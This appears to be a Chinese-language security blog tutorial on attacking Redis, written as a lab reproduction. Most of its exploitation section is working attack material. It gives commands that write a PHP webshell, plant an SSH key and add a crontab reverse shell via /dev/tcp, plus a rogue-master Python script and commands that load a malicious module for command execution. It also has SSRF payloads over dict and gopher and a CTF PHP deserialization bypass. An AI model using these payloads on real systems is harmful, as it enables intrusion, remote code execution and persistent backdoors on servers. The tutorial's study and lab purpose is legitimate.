提及 Redis 自然是耳熟能详,说起 Redis 的漏洞的话,未授权访问漏洞、主从复制漏洞等也是张口就来,缺乏实际操作的情况下,终究只是纸上谈兵,所以打算对 Redis 进行一个全面的总结。
Redis 简介
直接抄取百度百科上的一段话 “Redis(Remote Dictionary Server),即远程字典服务,是一个开源的使用 ANSI C 语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value 数据库,并提供多种语言的 API。从 2010 年 3 月 15 日起,Redis 的开发工作由 VMware 主持。从 2013 年 5 月开始,Redis 的开发由 Pivotal 赞助。”redis 是一个 key-value 存储系统。和 Memcached 类似,它支持存储的 value 类型相对更多,包括 string (字符串)、list (链表)、set (集合)、zset (sorted set — 有序集合) 和 hash(哈希类型)。这些数据类型都支持 push/pop、add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis 支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave (主从) 同步。
我对 Redis 的认知就是 — 这是一个数据库,默认端口是 6379,拥有很多漏洞。
Redis 安装
Linux 编译安装,安装后仅能在安装目录下运行
wget https://download.redis.io/releases/redis-6.2.5.tar.gztar xzf redis-6.2.5.tar.gzcd redis-6.2.5make# 启动 redis 服务,可以指定配置文件启动(若不指定则以默认的配置文件启动)cd src./redis-server# 启动 redis 客户端./redis-cli
Ubuntu apt 命令安装
sudo apt updatesudo apt install redis-serverredis-serverredis-cli
Windows 安装
https://github.com/MicrosoftArchive/redis/releases下载 Redis-x64-3.0.504.zip 并解压redis-server.exe redis.windows.conf
Redis 命令
Redis 也是分为服务端和客户端的,服务端上执行的是客户端发送过来的命令 (感觉好像一句废话)。Redis 在安装完成之后会有 redis-cli
redis-cli -h host # 免密登录redis-cli -h host -p port -a password # 使用 Redis 密码登录 Redis 服务# 与 Redis 服务连接成功后,执行 PING 命令,如果服务器运作正常的话,会返回一个 PONG
Redis 语法
Redis 键命令的基本语法为:COMMAND KEY_NAME
使用 * 可以获取所有配置项 (GET 、 KEYS)
使用 SET 和 GET 命令,可以完成基本的赋值和取值操作;
Redis 不区分命令的大小写,set 和 SET 是同一个意思;
如果键的值中有空格,需要使用双引号括起来;
SET key "Hello World" # 设置键 key 的值为字符串 Hello WorldGET key # 获取键 key 的值,如果 key 不存在,返回 nil 。如果key 储存的值不是字符串类型,返回一个错误DEL key # 删除键 keyKEYS * # 获取 redis 中所有的 key,Keys 命令用于查找所有符合给定模式 pattern 的 keySAVE # 用于创建当前数据库的备份,在 redis 安装目录中创建dump.rdb文件CONFIG GET requirepass # 用于获取 redis 服务的配置参数,通过 CONFIG 命令查看或设置配置项CONFIG REWRITE requirepass "123456" # 对 redis.conf 配置文件进行改写,重启后才会被修改CONFIG SET requirepass "123456" # 动态地调整 Redis 服务器的配置(configuration)而无须重启Flushall # 用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key)SELECT index # Redis Select 命令用于切换到指定的数据库,数据库索引号 index 用数字值指定,以 0 作为起始索引值。
Redis 配置文件
Redis 的配置文件位于 Redis 安装目录下,文件名为 redis.conf (Windows 名为 redis.windows.conf)。当然也可以通过指定配置文件来进行启动。列举一些重要的配置项进行说明。
配置项说明 port 6379 指定 Redis 监听端口,默认端口为 6379bind 127.0.0.1 绑定的主机地址,格式为 bind 后面接 IP 地址,可以同时绑定在多个 IP 地址上,IP 地址之间用空格分离,如 bind 192.168.1.100 10.0.0.1,表示同时绑定在 192.168.1.100 和 10.0.0.1 两个 IP 地址上。如果没有指定 bind 参数,则绑定在本机的所有 IP 地址上。save 格式为 save <秒数> < 变化数 >,表示在指定的秒数内数据库存在指定的改变数时自动进行备份也就是指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合 dbfilename dump.rdb 指定本地数据库文件名,默认值为 dump.rdbdir ./ 指定本地数据库存放目录,指明 Redis 的工作目录为设定的目录,Redis 产生的备份文件将放在这个目录下 requirepass foobared 设置 Redis 连接密码,如果配置了连接密码,客户端在连接 Redis 时需要通过 AUTH 命令提供密码,默认关闭 protected-moderedis3.2 版本后新增 protected-mode 配置,默认是 yes ,用于设置外部网络连接 redis 服务。关闭 protected-mode 模式,此时外部网络可以直接访问。开启 protected-mode 保护模式,需配置 bind ip 或者设置访问密码。
Redis 漏洞利用
前置条件
注意到 3.2.0 版本后 redis.conf 配置文件中两个比较重要的参数 bind 以及 protected-mode
经过验证,唯有以下情况可以满足未授权访问 Redis
- 未开启登录认证 (即没有配置登录密码,默认即可满足),将 redis 绑定到了 0.0.0.0 (设置 bind 参数为 0.0.0.0)
- 未开启登录认证 (即没有配置登录密码,默认即可满足),未绑定 redis 到任何地址 (将 bind 参数注释掉),关闭保护模式 (设置 protected-mode 的参数为 no)
利用 Redis 写入 webshell
Redis 存在未授权访问的情况下,也开启了 web 服务,知道 web 目录的路径,具有文件读写权限,就可以通过 redis 在指定的 web 目录下写入 shell 文件。
# 安装 php 服务sudo add-apt-repository ppa:ondrej/phpsudo apt-get updatesudo apt-get upgradesudo apt-get install php5.6# 安装开启 apache 服务sudo apt install apache2service apache2 start
config set dir /var/www/html/ config set dbfilename shell.phpset xxx " eval($_REQUEST[cmd]);?>" # set xxx "\r\r eval($_REQUEST['cmd']);?>\r\r" #\r\r 代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行save
写入之后查看 /var/www/html/ 目录下的 shell.php 文件内容
可以通过蚁剑直接连接,很奇怪的是无法直接在页面上执行
写 ssh-keygen 公钥登录服务器
Redis 存在未授权访问的情况下,开启了 ssh 服务,在数据库中插入一条数据,将本机的公钥作为 value,key 值随意,然后可以通过修改数据库的保存路径为 /root/.ssh 和保存文件名为 authorized.keys ,备份数据库之后就可以在服务器端的 /root/.ssh 下生成一个 key。
# 安装 openssh 服务sudo apt-get install openssh-server# 启动 ssh 服务sudo /etc/init.d/ssh start# 配置 root 用户连接权限sudo vim /etc/ssh/sshd_configPermitRootLogin yes# 设置允许通过免密登录AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2# 重启 ssh 服务sudo /etc/init.d/ssh restart ssh-keygen -t rsacat /home/root/.ssh/id_rsa.pub
可以像写 webshell 一样将文件写入
config set dir /root/.ssh/config set dbfilename authorized_keysset xxx "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFjUxxZ6e/DvN5QDim8ioSIJ9tK+fugqFLcgHckaYrqPGERMlUvQOnxbl9s87uGf1FslRX4fySoC81p0C1EC1mNzj7C7ozJpcu+5HsIV12jqh9Cl98TALXmOTepvC74SaFgyzL0tQui90gAWiTgUq155OgonBhmUW+xsuJ3B3K6/Bh+dbMwI5F9NdBbynRDJcf25lp6YHp7XUy0yUYJGR1v62epkZTWjrhbDBXK609CSsg//r02P7n3mehvTtaHKZZQQL5VdAVh6fT3udsR+Mr2Ar9oZz2Rhr+S8p4scEjiUjcF3Leddooh3uGlaBowJtyInImMDP/TP4t57aeD8Pr root@root" save
为了方便操作也可以采用这种方法
(echo -e ""; cat /home/root/.ssh/id_rsa.pub; echo -e "") > key.txtcat key.txt | redis-cli -h 192.168.10.128 -x set xxxredis-cli -h 192.168.10.128 > config set dir /root/.ssh/ > config set dbfilename authorized_keys > savessh -i /home/root/.ssh/id_rsa root@192.168.10.128
第一次设置的时候会报错 (error) ERR Changing directory: No such file or directory 是靶机上并不存在这个目录,原因是 .ssh 是记录密码信息的文件夹,如果 root 用户没有登录过的话,就没有 .ssh 文件夹,所以我们可以通过这条命令 ssh localhost 或者手动创建 .ssh 目录。
利用计划任务反弹 shell
Centos
在 Centos 上安装完成 redis 后要记得关闭防火墙 service firewalld stop 否则即使能 ping 通,redis 也无法连接。
config set dir /var/spool/cron/ config set dbfilename rootset xxx "*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.10.1/9999 0>&1"save
连接靶机 Redis,写入反弹 shell 的计划任务:
查看靶机上的计划任务
开启监听,获得反弹回来的 shell
Ubuntu
看了这篇文章 解决 ubuntu crontab 反弹 shell 失败的问题 仔细分析了一下,发现复现研究意义不大,因为还需要去修改权限,不可能存在这样的场景,但是作者分析解决的思路还是很值得学习的。
总结
这个方法只能在 Centos 上使用,Ubuntu 上行不通,原因如下:
+ 因为默认 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件 `/var/spool/cron/crontabs/` 权限必须是 600 才会执行,否则会报错 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定时任务文件 `/var/spool/cron/` 权限 644 也可以执行 + 因为 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错。
由于系统的不同,crontrab 定时文件位置也不同:
+ Centos 的定时任务文件在 `/var/spool/cron/`
+ Ubuntu 的定时任务文件在 `/var/spool/cron/crontabs/`
利用主从复制获取 shell
Redis 是一个使用 ANSI C 编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个 Redis 的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis 就提供了主从模式,主从模式就是指使用一个 redis 实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在 Reids 4.x 之后,Redis 新增了模块功能,通过外部拓展,可以实现在 Redis 中实现一个新的 Redis 命令,通过写 C 语言编译并加载恶意的.so 文件,达到代码执行的目的。
Linux
在本机上弄的时候出现各种各样的奇葩的问题,给我整破防了,最后我采用了 docker 来进行复现。复现不同的利用都删掉 docker ,重启继续进行。最后发现主从复制的利用版本是 4.x-5.x,从 6.0 开始,就无法利用成功,写入 exp.so 也是可以的,module 加载时会失败,提示没有权限,给 exp.so 权限后时可以的。
sudo docker pull vertigo/redis4sudo docker run -p 6379:6379 vertigo/redis4
redis-rce
redis-rce
生成恶意.so 文件,下载 RedisModules-ExecuteCommand 使用 make 编译即可生成
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.gitcd RedisModules-ExecuteCommand/make# 生成 /RedisModules-ExecuteCommand/src/module.socd ..git clone https://github.com/Ridter/redis-rce.gitcd redis-rce/cp ../RedisModules-ExecuteCommand/src/module.so ./pip install -r requirements.txtpython redis-rce.py -r 192.168.10.187 -p 6379 -L 192.168.10.1 -f module.so
redis-rogue-server
redis-rogue-server
git clone https://github.com/n0b0dyCN/redis-rogue-server.gitcd redis-rogue-servepython3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1
Redis 主从复制手动挡
import socketfrom time import sleepfrom optparse import OptionParser
def RogueServer(lport): resp = "" sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(("0.0.0.0",lport)) sock.listen(10) conn,address = sock.accept() sleep(5) while True: data = conn.recv(1024) if "PING" in data: resp="+PONG"+CLRF conn.send(resp) elif "REPLCONF" in data: resp="+OK"+CLRF conn.send(resp) elif "PSYNC" in data or "SYNC" in data: resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF resp += "$" + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() if type(resp) != bytes: resp =resp.encode() conn.send(resp) #elif "exit" in data: break
if __name__=="__main__":
parser = OptionParser() parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT") parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")
(options , args )= parser.parse_args() lport = options.lp exp_filename = options.exp
CLRF="\r" payload=open(exp_filename,"rb").read() print "Start listing on port: %s" %lport print "Load the payload: %s" %exp_filename RogueServer(lport)
redis-cli -h 192.168.10.187> ping> config set dir ./ # 设置redis的备份路径为当前目录> config set dbfilename exp.so # 设置备份文件名为exp.so,默认为dump.rdb> slaveof 192.168.10.1 9999 # 设置主服务器IP和端口> module load ./exp.so # 加载恶意模块> slaveof no one # 切断主从,关闭复制功能> system.exec 'whoami' # 执行系统命令> config set dbfilename dump.rdb # 通过dump.rdb文件恢复数据> system.exec 'rm ./exp.so' # 删除exp.so> module unload system # 卸载system模块的加载
windows
Redis 官方没有提供 windows 版的安装包,windows 下使用的 Redis 还是 3.X 版本的。redis 在写文件的时候会有一些版本信息以及脏数据,无法写出正常的 DLL、EXE、LINK 等文件,所以 对 Windows 下的 redis 的利用方法主要是往 web 目录写马以及写启动项。
RedisWriteFile
RedisWriteFile 利用 Redis 的主从同步写数据,脚本将自己模拟为 master,设置对端为 slave, master 数据空间保证绝对干净,轻松实现了写无损文件。
参考文章 对 Redis 在 Windows 下的利用方式思考 踩坑记录 - Redis (Windows) 的 getshell 可以利用以下方式
- 系统 DLL 劫持 (目标重启或注销)
- 针对特定软件的 DLL 劫持(目标一次点击)
- 覆写目标的快捷方式 (目标一次点击)
- 覆写特定软件的配置文件达到提权目的 (目标无需点击或一次点击)
- 覆写 sethc.exe 等文件 (攻击方一次触发)
- mof 等
因为对这些暂时还没有研究,所以在这里只演示以下,在 windows redis 写无损文件
python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]
python3 RedisWriteFile.py --rhost=192.168.10.190 --rport=6379 --lhost=192.168.10.1 --lport=9999 --rpath="C:\Users\Public" --rfile="test.txt" --lfile="test.txt"
哇,这个无损写文件真是 yyds,在 linux 下利用也是没有一点问题。
Redis 漏洞在 ssrf 中的利用
dict 协议
dict://serverip:port/命令:参数
获取信息 curl dict://192.168.10.187:6379/info
curl dict://192.168.10.187:6379curl dict://192.168.10.187:6379/config:set:dir:./ curl dict://192.168.10.187:6379/config:set:dbfilename:exp.so # 设置保存文件名curl dict://192.168.10.187:6379/slaveof:192.168.10.1:9090 # 连接远程主服务器curl dict://192.168.10.187:6379/module:load:./exp.so # 加载恶意模块curl dict://192.168.10.187:6379/slaveof:no:one # 切断主从,关闭复制功能curl dict://192.168.10.187:6379/config:set:dbfilename:dump.rdb # 通过dump.rdb文件恢复数据curl dict://192.168.10.187:6379/system.exec:'whoami' # 执行系统命令curl dict://192.168.10.187:6379/system.exec:rm:'./exp.so' # 删除exp.socurl dict://192.168.10.187:6379/module:unload:system # 卸载system模块的加载
成功会有一定的概率性问题,我在尝试的时候无法达到百分百的成功。
gopher 协议
可以利用 goherus.py 来实现
git clone https://github.com/tarunkant/Gopherus.gitpython gopherus.py --exploit redis
import urllibprotocol="gopher://"ip="192.168.43.82"port="6379"shell=""filename="shell.php"path="/var/www/html"passwd="" # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用cmd=["flushall", # 实际利用不要用 flushall,会清空整个 Redis 服务器的数据 "set 1 {}".format(shell.replace(" ","${IFS}")), # 可以用 select 1 来切换数据库 "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ]if passwd: cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr): CRLF="\r" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd
if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
上面的脚本是写入 webshell 的,如果想利用 ssh-keygen 或者 计划任务只需要简单的修改脚本即可
分享一道前段时间天翼杯中涉及到 Redis 的题目
easy_eval
class A{ public $code = ""; function __call($method,$args){ eval($this->code);
} function __wakeup(){ $this->code = ""; } }
class B{ function __destruct(){ echo $this->a->a(); } } if(isset($_REQUEST['poc'])){ preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret); if (isset($ret[1])) { foreach ($ret[1] as $i) { if(intval($i)!==1){ exit("you want to bypass wakeup ? no !"); } } unserialize($_REQUEST['poc']); }
}else{ highlight_file(__FILE__); }
我们注意到反序列化时有 __wakeup 方法,在反序列化时,unserialize () 会检查是否存在__wakeup 方法,如果存在则会先调用,所以我们要想办法进行绕过
当成员属性数目大于实际数目时可以绕过 wakeup 方法
删除掉序列化数据的最后一个 } 或者在 最后两个 } 中间加上 ; 原理
但是获取参数 poc 后会进行正则的判断
preg_match_all(‘/“[BA]”:(.*?):/s’,$_REQUEST[‘poc’],$ret);
获取的就是类 A 以及类 B 的成员属性的数目。
普通构造反序列化 payload
class A{ public $code = ""; public function __construct(){ $this->code = 'eval($_POST[cmd]);'; } function __wakeup(){ $this->code = ""; }}
class B{ public function __construct(){ $this->a = new A(); }}$s = serialize(new B);
echo $s ;
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:18:"eval($_POST[cmd]);";}}
虽然绕过了正则匹配,但是没有绕过 __wakeup
修改 class A 的成员属性数目
O:1:"B":1:{s:1:"a";O:1:"A":2:{s:4:"code";s:18:"eval($_POST[cmd]);";}}
虽然可以绕过__wakeup,但是会被正则匹配拦截
利用 PHP 对类名大小写不敏感绕过正则
O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:10:"phpinfo();";}}
完美,但是我猜测出题人并不想考察这个知识点,而是一种新的 __wakeup 的绕过思路
删除生成序列化数据的最后一个
} O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}
因为 disable_function 禁用了大部分的命令执行函数,所以直接通过蚁剑链接
发现无法命令执行,所以进行端口的扫描
发现开放了 6379 redis 端口,寻找其中的配置文件
找到 redis 的账号和密码进行连接
/var/www/html 的目录是不可写的,但是利用 Redis 可以直接写文件到该目录下
但是此处再写进去一个 shell 也没什么用,是需要利用到 Redis 的主从复制漏洞来实现 RCE
忘记截图了::happy: 具体操作是利用主从复制拷贝恶意 so 文件 可参考
当然 tmp 目录有可写权限,直接将 so 文件上传到该目录下执行也可。